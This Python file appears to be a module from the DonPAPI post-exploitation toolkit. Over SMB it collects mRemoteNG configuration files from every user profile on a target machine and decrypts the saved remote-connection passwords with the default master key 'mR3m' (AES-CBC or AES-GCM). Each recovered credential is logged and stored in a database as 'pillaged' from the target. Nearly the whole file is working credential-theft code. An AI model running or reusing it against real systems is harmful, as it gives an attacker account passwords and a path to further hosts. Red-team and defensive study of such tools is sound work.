#!/usr/bin/env python # coding:utf-8 # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. #From : https://github.com/haseebT/mRemoteNG-Decrypt/blob/master/mremoteng_decrypt.py import ntpath import re from donpapi.lib.toolbox import bcolors import hashlib import base64 from Cryptodome.Cipher import AES from Cryptodome.Util.Padding import unpad import xml.etree.ElementTree as ET ## <1.75 key is md5(password) and encryption is CBC ## >=1.75 key is PBKDF2(password) and encryption is GCM def gcm_decrypt(data, password): salt = data[:16] nonce = data[16:32] ciphertext = data[32:-16] tag = data[-16:] # TODO: get these values from the config file key = hashlib.pbkdf2_hmac('sha1', password, salt, 1000, dklen=32) # default values cipher = AES.new(key, AES.MODE_GCM, nonce) cipher.update(salt) try: plaintext = cipher.decrypt_and_verify(ciphertext, tag).decode() except ValueError: print('MAC tag not valid, this means the master password is wrong or the crypto values aren\'t default') return plaintext def cbc_decrypt(data, password): iv = data[:16] ciphertext = data[16:] key = hashlib.md5(password).digest() cipher = AES.new(key, AES.MODE_CBC, iv) return unpad(cipher.decrypt(ciphertext), AES.block_size).decode() class mRemoteNG(): def __init__(self,smb,myregops,myfileops,logger,options,db,users): self.myregops = myregops self.myfileops = myfileops self.logging = logger self.options = options self.db = db self.users = users self.smb = smb self.settings={} self.settings['EncryptionEngine']='AES' self.settings['EncryptionBlockCipherMode'] = 'GCM' self.settings['EncryptionKeyDerivationIterations']=1000 self.default_password = "mR3m" def run(self): self.get_files() #self.process_files() #self.decrypt_all() def get_files(self): self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering mRemoteNG Secrets {bcolors.ENDC}") blacklist = ['.', '..'] user_directories = [("Users\\{username}\\AppData\\Local\\mRemoteNG", ('mRemoteNG.settings','confCons.xml')),#'mRemoteNG.exe.config', ("Users\\{username}\\AppData\\Roaming\\mRemoteNG", ('mRemoteNG.settings','confCons.xml'))] machine_directories = [("Program Files (x86)\\mRemoteNG\\", 'mRemoteNG.exe.config'), ("PROGRAMFILES\\mRemoteNG\\", 'mRemoteNG.exe.config'), ] for user in self.users: self.logging.debug( f"[{self.options.target_ip}] Looking for {user.username} ") if user.username == 'MACHINE$': continue #directories_to_use = machine_directories else: directories_to_use = user_directories for info in directories_to_use: my_dir, my_mask = info tmp_pwd = my_dir.format(username=user.username) self.logging.debug(f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}") for mask in my_mask: my_directory = self.myfileops.do_ls(tmp_pwd, mask, display=False) for infos in my_directory: longname, is_directory = infos self.logging.debug("ls returned file %s" % longname) if longname not in blacklist and not is_directory: try: # Downloading file self.localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname), allow_access_error=True) self.process_file(self.localfile,user.username) except Exception as ex: self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in DownloadFile {self.localfile}{bcolors.ENDC}") self.logging.debug(ex) def print_infos(self, node,username): try: name = node.attrib['Name'] username_ = node.attrib['Domain'] + '\\' + node.attrib['Username'] destination = node.attrib['Protocol'] + '://' + node.attrib['Hostname'] + ':' + node.attrib['Port'] encrypted_password = node.attrib['Password'] encrypted_data = encrypted_password.strip() encrypted_data = base64.b64decode(encrypted_data) self.logging.debug( f"[] {bcolors.OKGREEN} [mRemoteNG] {bcolors.OKBLUE}{name}:{username_} @ {destination} : {encrypted_password}{bcolors.ENDC}") if self.settings['EncryptionEngine'] == 'AES': if self.settings['EncryptionBlockCipherMode'] == 'CBC': # <1.75 key is md5(password) and encryption is CBC self.logging.info( f"[] {bcolors.OKGREEN} [mRemoteNG] - Mode CBC detected - Old MremoteVersion - untested ! {bcolors.ENDC}") iv = encrypted_data[:16] ciphertext = encrypted_data[16:] key = hashlib.md5(self.default_password.encode()).digest() cipher = AES.new(key, AES.MODE_CBC, iv) plaintext=unpad(cipher.decrypt(ciphertext), AES.block_size).decode() self.logging.info(f"[] {bcolors.OKGREEN} [mRemoteNG] {bcolors.OKBLUE}{username_}:{plaintext} @ {destination}{bcolors.ENDC}") self.db.add_credz(credz_type='MRemoteNG', credz_username=f"{username_}", credz_password=plaintext, credz_target=str(destination), credz_path=self.localfile, pillaged_from_computer_ip=self.options.target_ip, pillaged_from_username=username) elif self.settings['EncryptionBlockCipherMode'] in ['GCM','CMM','EAX']: salt = encrypted_data[:16] associated_data = encrypted_data[:16] nonce = encrypted_data[16:32] ciphertext = encrypted_data[32:-16] tag = encrypted_data[-16:] if ciphertext != b'': key = hashlib.pbkdf2_hmac("sha1", self.default_password.encode(), salt, self.settings['EncryptionKeyDerivationIterations'], dklen=32) if self.settings['EncryptionBlockCipherMode'] == 'GCM': #<1.75 key is md5(password) and encryption is CBC cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) elif self.settings['EncryptionBlockCipherMode'] == 'CCM': self.logging.info( f"[] {bcolors.OKGREEN} [mRemoteNG] - EncryptionBlockCipherMode CCM detected - untested ! {bcolors.ENDC}") cipher = AES.new(key, AES.MODE_CCM, nonce=nonce) elif self.settings['EncryptionBlockCipherMode'] == 'EAX': self.logging.info( f"[] {bcolors.OKGREEN} [mRemoteNG] - Mode EncryptionBlockCipherMode detected - untested ! {bcolors.ENDC}") cipher = AES.new(key, AES.MODE_EAX, nonce=nonce) cipher.update(associated_data) plaintext = cipher.decrypt_and_verify(ciphertext, tag).decode('utf8') self.logging.info( f"[] {bcolors.OKGREEN} [mRemoteNG] {bcolors.OKBLUE}{username_}:{plaintext} @ {destination}{bcolors.ENDC}") self.db.add_credz(credz_type='MRemoteNG',credz_username=f"{username_}",credz_password=plaintext,credz_target=str(destination),credz_path=self.localfile,pillaged_from_computer_ip=self.options.target_ip, pillaged_from_username=username) elif self.settings['EncryptionEngine'] == 'AES': # Older version ? self.logging.info( f"[] {bcolors.OKGREEN} [mRemoteNG] - EncryptionEngine != AES - unsupported ! {bcolors.ENDC}") except Exception as ex: self.logging.debug( f"[] {bcolors.WARNING}Exception in mRemoteNG Process Node of {self.localfile}{bcolors.ENDC}") self.logging.debug(ex) def print_recur(self, node,username): if node.tag == 'Node': self.print_infos(node,username) for elem in list(node): try: self.print_recur(elem,username) except Exception as ex: self.logging.debug( f"[] {bcolors.WARNING}Exception in mRemoteNG element {elem}{bcolors.ENDC}") self.logging.debug(ex) continue def process_file(self,localfile,username): try: if "confCons.xml" in localfile: tree = ET.parse(localfile) root = tree.getroot() try : #GetConf iter = int(root.attrib['KdfIterations']) self.settings['EncryptionKeyDerivationIterations'] = iter BlockCipherMode = root.attrib['BlockCipherMode'] self.settings['EncryptionBlockCipherMode'] = BlockCipherMode EncryptionEngine = root.attrib['EncryptionEngine'] self.settings['EncryptionEngine'] = EncryptionEngine FullFileEncryption = root.attrib['FullFileEncryption'] self.logging.debug(f"[MRemoteNG] : FullFileEncryption: {FullFileEncryption}") '''if FullFileEncryption == 'true': cypher = base64.b64decode(re.findall('<.*>(.+)', conf)[0]) conf = decrypt(mode, cypher, args.password.encode())''' except Exception as ex: self.logging.debug( f"[] {bcolors.WARNING}Exception in mRemoteNG ProcessFile {localfile} {bcolors.ENDC}") self.logging.debug(ex) for node in list(root): self.print_recur(node,username) return 0 elif 'mRemoteNG.settings' in localfile: tree = ET.parse(localfile) root = tree.getroot() for node in list(root): for val in node: self.get_settings(val) return 0 except Exception as ex: self.logging.debug( f"[] {bcolors.WARNING}Exception in mRemoteNG ProcessFile {localfile} {bcolors.ENDC}") self.logging.debug(ex) def get_settings(self,val): try: if val.get('name') == 'EncryptionEngine': self.settings['EncryptionEngine'] = val.text elif val.get('name') == 'EncryptionBlockCipherMode': self.settings['EncryptionBlockCipherMode'] = val.text elif val.get('name') == 'EncryptionKeyDerivationIterations': self.settings['EncryptionKeyDerivationIterations'] = int(val.text) if val.get('name') == 'DefaultUsername': self.settings['DefaultUsername'] = val.text elif val.get('name') == 'DefaultDomain': self.settings['DefaultDomain'] = val.text elif val.get('name') == 'DefaultPassword': self.settings['DefaultPassword'] = val.text # recupérer les infos ''' AES GCM 1000 userDomaine LMyDom Ct6gc/JSzjRh/25oz0MCldcITaE= ''' except Exception as ex: self.logging.debug( f"[] {bcolors.WARNING}Exception in mRemoteNG ProcessFile mRemoteNG.settings {bcolors.ENDC}") self.logging.debug(ex)